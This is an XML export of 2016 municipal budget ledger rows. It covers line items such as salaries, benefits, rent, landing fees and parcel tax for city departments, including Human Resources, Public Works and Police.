<row _id="19939"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1673</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1673</total></row>
<row _id="19940"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4381</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4381</total></row>
<row _id="19941"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>448</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>448</total></row>
<row _id="19942"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80992</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80992</total></row>
<row _id="19943"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>577970.0</object><object_description>INSURANCE ADMIN</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>63859</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>63859</total></row>
<row _id="19944"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4579</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4579</total></row>
<row _id="19945"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>6</fund_id><fund_name>Clean Bchs &amp; Ocean Prcl Tx Fd</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>405490.0</object><object_description>PARCEL TAX ASSESSMENT</object_description><category_code>606.0</category_code><category_code_description>Other Local Taxes</category_code_description><fiscal_year>2016</fiscal_year><july>-3126543</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3126543</total></row>
<row _id="19946"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13534</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13534</total></row>
<row _id="19947"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2000</total></row>
<row _id="19948"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522630.0</object><object_description>OFFICE RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>145000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>145000</total></row>
<row _id="19949"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>408000.0</object><object_description>INTERFUND SERVICES-ST MAINTENA</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-78160</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-78160</total></row>
<row _id="19950"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>120</department_id><department_name>RECORDS &amp; ELECTION SERVICES</department_name><division_id>214</division_id><division_name>R &amp; ES(CITY CLERK)-SUPP SCVS</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19951"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>571</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>571</total></row>
<row _id="19952"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object xsi:nil="true" /><object_description>MEDICAL-RETIREE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>20000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>20000</total></row>
<row _id="19953"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>407930.0</object><object_description>GARDENSOFT WEBSITE PARTNR FUND</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-3750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-3750</total></row>
<row _id="19954"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319</total></row>
<row _id="19955"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2583</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2583</total></row>
<row _id="19956"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>44074</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>44074</total></row>
<row _id="19957"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>39312</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>39312</total></row>
<row _id="19958"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1181102</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1181102</total></row>
<row _id="19959"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>80000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>80000</total></row>
<row _id="19960"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>401580.0</object><object_description>RECYCLED MATERIALS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-463700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-463700</total></row>
<row _id="19961"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407060.0</object><object_description>KEC TENANT RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19962"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>569221.0</object><object_description>MADISON PROJECT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19963"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566880.0</object><object_description>EXPLORER POST</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>4783</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4783</total></row>
<row _id="19964"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402161.0</object><object_description>NOISE ABATEMENT - AIRPORT</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-36000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-36000</total></row>
<row _id="19965"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402170.0</object><object_description>LANDING FEES</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2016</fiscal_year><july>-1200000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-1200000</total></row>
<row _id="19966"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1141</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1141</total></row>
<row _id="19967"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7418</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7418</total></row>
<row _id="19968"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>21273</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>21273</total></row>
<row _id="19969"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>62965</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>62965</total></row>
<row _id="19970"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1246</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1246</total></row>
<row _id="19971"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>256132</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>256132</total></row>
<row _id="19972"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>854</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>854</total></row>
<row _id="19973"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3823</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3823</total></row>
<row _id="19974"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8671</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8671</total></row>
<row _id="19975"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19976"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>252</division_id><division_name>EMPLOYEE RELATIONS &amp; BENEFITS</division_name><object>566120.0</object><object_description>EMPLOYEE SERVICE AWARDS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>31015</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>31015</total></row>
<row _id="19977"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>407400.0</object><object_description>STATE RECYCLING PROGRAM</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2016</fiscal_year><july>-55200</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-55200</total></row>
<row _id="19978"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>-60000</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>-60000</total></row>
<row _id="19979"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1574</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1574</total></row>
<row _id="19980"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2961</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2961</total></row>
<row _id="19981"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>510000.0</object><object_description>SALARIES AND WAGES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="19982"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1772</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1772</total></row>
<row _id="19983"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>6789</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>6789</total></row>
<row _id="19984"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2800</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2800</total></row>
<row _id="19985"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>251</division_id><division_name>EMPLOYMENT &amp; ORGANIZATIONAL DE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1492</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1492</total></row>
<row _id="19986"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>5310</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>5310</total></row>
<row _id="19987"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>150</department_id><department_name>HUMAN RESOURCES</department_name><division_id>250</division_id><division_name>ADMINISTRATIVE SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>3131</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3131</total></row>
